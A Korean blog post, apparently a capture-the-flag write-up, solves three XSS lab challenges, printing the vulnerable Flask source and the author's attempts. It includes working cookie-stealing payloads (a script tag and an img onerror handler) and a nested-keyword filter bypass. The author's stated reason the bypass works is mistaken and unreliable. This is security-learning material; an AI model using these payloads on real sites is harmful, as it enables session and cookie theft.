[2025-07-10] XSS-1, XSS-2, XSS Filtering Bypass

July 10, 2025

🦥 본문

1. XSS - 1

 #!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

/flag에서는 POST 방식으로 보낸다면, 쿠키를 삽입하고 URL에 들어간다. URL에 들어간 후 빠져 나온다. 그리고 그 URL은 vuin 페이지다.
처음에는 Burf suite를 통해 쿠키 값을 가져오면 된다고 생각했는 데 실패했다.
/vuin 은 사용자가 입력한 param 그대로 보여준다. 그래서 를 했는 데 실패했다.
memo는 사용자에게 받은 텍스트들을 저장하여 보여준다.
POST 방식으로 flag 페이지에서 접근하여 쿠키를 삽입한다. 그리고 그 페이지는 vuin 페이지이기 때문에 param을 보여주기 때문에 param에 document.cookie를 했는 데 실패했다.
거의 다 왔었는 데.. 결국 풀이를 봤다.
문제점은 내 브라우저 URL에서 빠져나왔다가 나가는 줄 알았는 데 그게 아니 Selenium이라는 서버 내부 브라우저로 실행하는 거 였다… 그래서

<script>
location.href="/memo?memo=" + document.cookie
</script>

를 통해서 memo api 실행시키면서 쿠키를 메모에 저장하는 것이어야 했다..

풀이

동작 흐름

flag API에서 POST 방식으로 보내는 경우. check_xss를 실행
check_xss는 파라미터로 받은 것을 vuln API를 실행시키는 URL로 만들고 flag를 쿠키로 만들어서 read_url을 실행
read_url은 셀레늄을 통해 해당 쿠키로 브라우저를 실행
vuln API에서 해당 파라미터를 그대로 리턴
아래의 코드를 삽입

<script>
location.href="/memo?memo=" + document.cookie
</script>

셀레늄를 통해 vuln API에서 위의 스크립트를 그대로 리턴하여 실행
memo API 실행
memo API에서 document.cookie (즉, FLAG)를 memo_text에 저장
memo API에서 memo_text를 출력하여 저장된 flag를 확인할 수 있음

2. XSS - 2

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

vuln.html

<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>

1일차에 풀었던 xss-1과 거의 코드가 유사하다. 다른 점은 vuln api가 원래는 그대로 param을 리턴하던 것과는 달리 이번에는 html에 넣어서 작동한다.
근데 아무리 생각해도 1일차와 같은 코드를 넣으면 작동될 거 같았다.

→ 실패했다. chatgpt에 물어보니 dom 구조 안에 있는 script 문은 보안상의 이유로 자체적으로 막는 다는 것이었다.
```
  <img src=x onerror="location.href='/memo?memo=' + document.cookie">
```
위 코드를 넣었더니 실행되었다. 1일차 문제 때문에 금방 풀 수 있어서 비교적 쉬웠다.

풀이

셀레늄 브라우저에서 vuln API를 호출하는 것까지는 같다.
하지만 vuln.html에서 현재 주소창의 쿼리 스트링(=location.search) 부분을 가져와서 파싱하여 x에 할당한다
쿼리 스트링 부분에서 param 부분을 가져와서 id가 vuln인 div에 DOM 구조로 삽입한다
그 후 vuln.html을 render_template 메소드를 통해 렌더링한다.
1. 이때 render_template 메소드는 전달된 템플릿 변수가 기록될 때 HTML 엔티티 코드로 변환해 저장되어 XSS가 발생하지 않는다. → 하지만 템플릿을 이용하는 방식이 아니라 innerHTML 방식으로 우회
2. innerHTML이지만
기존 방식이 아닌 <img onerror= .. > 방식으로 XSS 가능

3. XSS Filtering Bypass

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

app.run(host="0.0.0.0", port=8000)

이번에는 필터링이 생겼다

<sc ript>location.href="/memo?memo=" + document.cookie</sc ript>
<Script>location.href="/memo?memo=" + document.cookie</Script>
<sconript>locatiojavascript:n.href="/memo?memo=" + document.cookie</sconript> //on이 ""로 바뀌어서 script 실행이라고 생
+ 아스키 코드까지 

해봤는 데 실패했다.
솔직히 3번째거는 왜 실패했는 지 정말 모르겠다. 정말로 답도 없어서 고민하다가 문제를 찾아봤는 데 띠용????

<scscriptript>locatioonn.href="memo?memo="+document.cookie</scscriptript>

필터링할 때 for 문이 리스트 순서대로 실행되는 게 아닌가보다 괜히 시간만 많이 잡아먹었다…

[2025-07-10] XSS-1, XSS-2, XSS Filtering Bypass

🦥 본문

1. XSS - 1

풀이

2. XSS - 2

풀이

3. XSS Filtering Bypass

Leave a comment

You may also enjoy

[2025-08-02] CSP Bypass

[2025-07-31] XSS Bypass filtering advanced

[2025-07-28] XSS Filtering Bypass

[2025-07-27] File Vulnerability advanced for Linux